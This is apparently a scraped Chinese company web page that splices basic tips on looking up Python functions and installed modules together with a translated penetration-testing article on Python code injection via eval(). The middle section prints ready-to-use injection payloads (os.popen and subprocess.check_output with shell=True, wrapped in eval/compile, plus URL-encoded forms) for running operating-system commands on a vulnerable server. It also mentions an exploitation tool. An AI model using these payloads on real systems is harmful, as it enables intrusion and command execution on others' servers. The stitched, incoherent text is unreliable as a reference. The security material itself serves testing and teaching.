查詢python函數(shù)的用法有兩個:
目前創(chuàng)新互聯(lián)已為上千余家的企業(yè)提供了網(wǎng)站建設(shè)、域名、網(wǎng)頁空間、網(wǎng)站托管運營、企業(yè)網(wǎng)站設(shè)計、龍安網(wǎng)站維護等服務(wù),公司將堅持客戶導(dǎo)向、應(yīng)用為本的策略,正道將秉承"和諧、參與、激情"的文化,與客戶和合作伙伴齊心協(xié)力一起成長,共同發(fā)展。
使用help(),例查詢sum函數(shù)的用法
使用官方文檔:
1)打開python的IDLE:
2)點擊help,選擇python doc(這是python的官方文檔,或者你也可以直接按f1鍵)
3)在調(diào)出的窗口,輸入函數(shù)名字進行查詢:
然后你給的while是關(guān)鍵詞,并不是函數(shù),所以查詢不到使用方法,一般查不到使用方法的都很簡單,關(guān)鍵詞也一般就那幾個
我們經(jīng)常會用到python的內(nèi)置函數(shù),但python庫中的內(nèi)置函數(shù)何其之多,有時候難免會忘了這個函數(shù)的功能。這時候我們可以在
pycharm中把鼠標定位到這個函數(shù),然后用快捷鍵Ctrl+B去查看:
更多技術(shù)請關(guān)注Python視頻教程。
1.dir函數(shù)式可以查看對象的屬性
使用方法很簡單,舉os類型為例,在Python命令窗口輸入?dir(‘os’)?即可查看os模塊的屬性
打開cmd命令窗口:
2.如何查看對象某個屬性的幫助文檔:兩種方法如下:
3.如何查看某個對象的詳細:
3.如何查看某個對象的函數(shù):
如果你的Web應(yīng)用中存在Python代碼注入漏洞的話,攻擊者就可以利用你的Web應(yīng)用來向你后臺服務(wù)器的Python解析器發(fā)送惡意Python代碼了。這也就意味著,如果你可以在目標服務(wù)器中執(zhí)行Python代碼的話,你就可以通過調(diào)用服務(wù)器的操作系統(tǒng)的指令來實施攻擊了。通過運行操作系統(tǒng)命令,你不僅可以對那些可以訪問到的文件進行讀寫操作,甚至還可以啟動一個遠程的交互式Shell(例如nc、Metasploit和Empire)。
為了復(fù)現(xiàn)這個漏洞,我在最近的一次外部滲透測試過程中曾嘗試去利用過這個漏洞。當時我想在網(wǎng)上查找一些關(guān)于這個漏洞具體應(yīng)用方法的信息,但是并沒有找到太多有價值的內(nèi)容。在同事Charlie Worrell(@decidedlygray)的幫助下,我們成功地通過Burp POC實現(xiàn)了一個非交互式的shell,這也是我們這篇文章所要描述的內(nèi)容。
因為除了Python之外,還有很多其他的語言(例如Perl和Ruby)也有可能出現(xiàn)代碼注入問題,因此Python代碼注入屬于服務(wù)器端代碼注入的一種。實際上,如果各位同學(xué)和我一樣是一名CWE的關(guān)注者,那么下面這兩個CWE也許可以給你提供一些有價值的參考內(nèi)容:
1. CWE-94:代碼生成控制不當(‘代碼注入’)2. CWE-95:動態(tài)代碼評估指令處理不當(‘Eval注入’)漏洞利用
假設(shè)你現(xiàn)在使用Burp或者其他工具發(fā)現(xiàn)了一個Python注入漏洞,而此時的漏洞利用Payload又如下所示:
eval(compile('for x in range(1):\n import time\n time.sleep(20)','a','single'))那么你就可以使用下面這個Payload來在目標主機中實現(xiàn)操作系統(tǒng)指令注入了:
eval(compile("""for x in range(1):\\n import os\\n os.popen(r'COMMAND').read()""",'','single'))實際上,你甚至都不需要使用for循環(huán),直接使用全局函數(shù)“__import__”就可以了。具體代碼如下所示:
eval(compile("""__import__('os').popen(r'COMMAND').read()""",'','single'))其實我們的Payload代碼還可以更加簡潔,既然我們已經(jīng)將import和popen寫在了一個表達式里面了,那么在大多數(shù)情況下,你甚至都不需要使用compile了。具體代碼如下所示:
__import__('os').popen('COMMAND').read()
為了將這個Payload發(fā)送給目標Web應(yīng)用,你需要對其中的某些字符進行URL編碼。為了節(jié)省大家的時間,我們在這里已經(jīng)將上面所列出的Payload代碼編碼完成了,具體如下所示:
param=eval%28compile%28%27for%20x%20in%20range%281%29%3A%0A%20import%20time%0A%20time.sleep%2820%29%27%2C%27a%27%2C%27single%27%29%29param=eval%28compile%28%22%22%22for%20x%20in%20range%281%29%3A%5Cn%20import%20os%5Cn%20os.popen%28r%27COMMAND%27%29.read%28%29%22%22%22%2C%27%27%2C%27single%27%29%29param=eval%28compile%28%22%22%22__import__%28%27os%27%29.popen%28r%27COMMAND%27%29.read%28%29%22%22%22%2C%27%27%2C%27single%27%29%29param=__import__%28%27os%27%29.popen%28%27COMMAND%27%29.read%28%29接下來,我們將會給大家介紹關(guān)于這個漏洞的細節(jié)內(nèi)容,并跟大家分享一個包含這個漏洞的Web應(yīng)用。在文章的結(jié)尾,我將會給大家演示一款工具,這款工具是我和我的同事Charlie共同編寫的,它可以明顯降低你在利用這個漏洞時所花的時間。簡而言之,這款工具就像sqlmap一樣,可以讓你快速找到SQL注入漏洞,不過這款工具仍在起步階段,感興趣的同學(xué)可以在項目的GitHub主頁[傳送門]中與我交流一下。
搭建一個包含漏洞的服務(wù)器
為了更好地給各位同學(xué)進行演示,我專門創(chuàng)建了一個包含漏洞的Web應(yīng)用。如果你想要自己動手嘗試利用這個漏洞的話,你可以點擊這里獲取這份Web應(yīng)用。接下來,我們要配置的就是Web應(yīng)用的運行環(huán)境,即通過pip或者easy_install來安裝web.py。它可以作為一臺獨立的服務(wù)器運行,或者你也可以將它加載至包含mod_wsgi模塊的Apache服務(wù)器中。相關(guān)操作指令如下所示:
git clone VulnApp
./install_requirements.sh
python PyCodeInjectionApp.py
漏洞分析
當你在網(wǎng)上搜索關(guān)于python的eval()函數(shù)時,幾乎沒有文章會提醒你這個函數(shù)是非常不安全的,而eval()函數(shù)就是導(dǎo)致這個Python代碼注入漏洞的罪魁禍首。如果你遇到了下面這兩種情況,說明你的Web應(yīng)用中存在這個漏洞:
1. Web應(yīng)用接受用戶輸入(例如GET/POST參數(shù),cookie值);2. Web應(yīng)用使用了一種不安全的方法來將用戶的輸入數(shù)據(jù)傳遞給eval()函數(shù)(沒有經(jīng)過安全審查,或者缺少安全保護機制);下圖所示的是一份包含漏洞的示例代碼:
\
大家可以看到,eval()函數(shù)是上述代碼中唯一一個存在問題的地方。除此之外,如果開發(fā)人員直接對用戶的輸入數(shù)據(jù)(序列化數(shù)據(jù))進行拆封的話,那么Web應(yīng)用中也將會出現(xiàn)這個漏洞。
不過需要注意的是,除了eval()函數(shù)之外,Python的exec()函數(shù)也有可能讓你的Web應(yīng)用中出現(xiàn)這個漏洞。而且據(jù)我所示,現(xiàn)在很多開發(fā)人員都會在Web應(yīng)用中不規(guī)范地使用exec()函數(shù),所以這個問題肯定會存在。
自動掃描漏洞
為了告訴大家如何利用漏洞來實施攻擊,我通常會使用掃描器來發(fā)現(xiàn)一些我此前沒有見過的東西。找到之后,我再想辦法將毫無新意的PoC開發(fā)成一個有意義的exploit。不過我想提醒大家的是,不要過度依賴掃描工具,因為還很多東西是掃描工具也找不到的。
這個漏洞也不例外,如果你在某個Web應(yīng)用中發(fā)現(xiàn)了這個漏洞,那么你肯定使用了某款自動化的掃描工具,比如說Burp Suite Pro。目前為止,如果不使用類似Burp Suite Pro這樣的專業(yè)掃描工具,你幾乎是無法發(fā)現(xiàn)這個漏洞的。
當你搭建好測試環(huán)境之后,啟動并運行包含漏洞的示例應(yīng)用。接下來,使用Burp Suite Pro來對其進行掃描。掃描結(jié)果如下圖所示:
\
下圖顯示的是Burp在掃描這個漏洞時所使用的Payload:
\
我們可以看到,Burp之所以要將這個Web應(yīng)用標記為“Vulnerable”(包含漏洞的),是因為當它將這個Payload發(fā)送給目標Web應(yīng)用之后,服務(wù)器的Python解析器休眠了20秒,響應(yīng)信息在20秒之后才成功返回。但我要提醒大家的是,這種基于時間的漏洞檢查機制通常會存在一定的誤報。
將PoC升級成漏洞利用代碼
使用time.sleep()來驗證漏洞的存在的確是一種很好的方法。接下來,為了執(zhí)行操作系統(tǒng)指令并接收相應(yīng)的輸出數(shù)據(jù),我們可以使用os.popen()、subprocess.Popen()、或者subprocess.check_output()這幾個函數(shù)。當然了,應(yīng)該還有很多其他的函數(shù)同樣可以實現(xiàn)我們的目標。
因為eval()函數(shù)只能對表達式進行處理,因此Burp Suite Pro的Payload在這里使用了compile()函數(shù),這是一種非常聰明的做法。當然了,我們也可以使用其他的方法來實現(xiàn),例如使用全局函數(shù)“__import__”。關(guān)于這部分內(nèi)容請查閱參考資料:[參考資料1][參考資料2]
下面這個Payload應(yīng)該可以適用于絕大多數(shù)的場景:
?
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
# Example with one expression
__import__('os').popen('COMMAND').read()
# Example with multiple expressions, separated by commasstr("-"*50),__import__('os').popen('COMMAND').read()如果你需要執(zhí)行一個或多個語句,那么你就需要使用eval()或者compile()函數(shù)了。實現(xiàn)代碼如下所示:
# Examples with one expression
eval(compile("""__import__('os').popen(r'COMMAND').read()""",'','single'))eval(compile("""__import__('subprocess').check_output(r'COMMAND',shell=True)""",'','single'))#Examples with multiple statements, separated by semicolonseval(compile("""__import__('os').popen(r'COMMAND').read();import time;time.sleep(2)""",'','single'))eval(compile("""__import__('subprocess').check_output(r'COMMAND',shell=True);import time;time.sleep(2)""",'','single'))在我的測試過程中,有時全局函數(shù)“__import__”會不起作用。在這種情況下,我們就要使用for循環(huán)了。相關(guān)代碼如下所示:
eval(compile("""for x in range(1):\n import os\n os.popen(r'COMMAND').read()""",'','single'))eval(compile("""for x in range(1):\n import subprocess\n subprocess.Popen(r'COMMAND',shell=True, stdout=subprocess.PIPE).stdout.read()""",'','single'))eval(compile("""for x in range(1):\n import subprocess\n subprocess.check_output(r'COMMAND',shell=True)""",'','single'))如果包含漏洞的參數(shù)是一個GET參數(shù),那么你就可以直接在瀏覽器中利用這個漏洞了:
\
請注意:雖然瀏覽器會幫你完成絕大部分的URL編碼工作,但是你仍然需要對分號(%3b)和空格(%20)進行手動編碼。除此之外,你也可以直接使用我們所開發(fā)的工具。
如果是POST參數(shù)的話,我建議各位直接使用類似Burp Repeater這樣的工具。如下圖所示,我在subprocess.check_output()函數(shù)中一次性調(diào)用了多個系統(tǒng)命令,即pwd、ls、-al、whoami和ping。
\
\
漏洞利用工具-PyCodeInjectionShell
你可以直接訪問PyCodeInjectionShell的GitHub主頁獲取工具源碼,我們也提供了相應(yīng)的工具使用指南。在你使用這款工具的過程中會感覺到,它跟sqlmap一樣使用起來非常的簡單。除此之外,它的使用方法跟sqlmap基本相同。
經(jīng)常調(diào)用的時候不知道python當前版本的內(nèi)置函數(shù)是哪些,可以用下面的指令查看:
import sys
print dir(sys.modules['__builtin__'])
隨著使用python的時間越來越長,安裝的python模塊也越來越多,有的模塊不常用,也漸漸會忘了里面有哪些函數(shù);或者,一個新的python模塊,沒有官方文檔,要想知道調(diào)用哪些函數(shù),怎么調(diào)用那些函數(shù),于是乎就需要查看一下自己安裝的python模塊里有哪些函數(shù),現(xiàn)將查看方法總結(jié)如下
在命令行下運行如下命令即可查看
在交互式解釋器中輸入如下命令即可,效果跟在命令行下輸入 $ pydoc modules 是一樣的。
python的sys模塊也是可以用來查看模塊信息的
如果你使用的是 pip 來作為你的 python 包管理器的話,可以在命令行下直接運行 $ pip freeze/code 或者 code$ pip list 來查看安裝包的信息,當然其它的包管理器也有類似的功能,同時,你也可以在python交互式解釋器中導(dǎo)入pip模塊來查看包信息。
如果你安裝過 yolk 的話可以使用 yolk 命令來查看包信息,你可以使用 $ pip install yolk 來安裝它 yolk 使用簡單,只需在命令行下操作即可。
分享名稱:python查詢函數(shù)網(wǎng)站,python庫函數(shù)查詢
文章地址:http://jinyejixie.com/article6/hopcog.html
成都網(wǎng)站建設(shè)公司_創(chuàng)新互聯(lián),為您提供定制網(wǎng)站、用戶體驗、網(wǎng)頁設(shè)計公司、Google、App開發(fā)、關(guān)鍵詞優(yōu)化
聲明:本網(wǎng)站發(fā)布的內(nèi)容(圖片、視頻和文字)以用戶投稿、用戶轉(zhuǎn)載內(nèi)容為主,如果涉及侵權(quán)請盡快告知,我們將會在第一時間刪除。文章觀點不代表本網(wǎng)站立場,如需處理請聯(lián)系客服。電話:028-86922220;郵箱:631063699@qq.com。內(nèi)容未經(jīng)允許不得轉(zhuǎn)載,或轉(zhuǎn)載時需注明來源: 創(chuàng)新互聯(lián)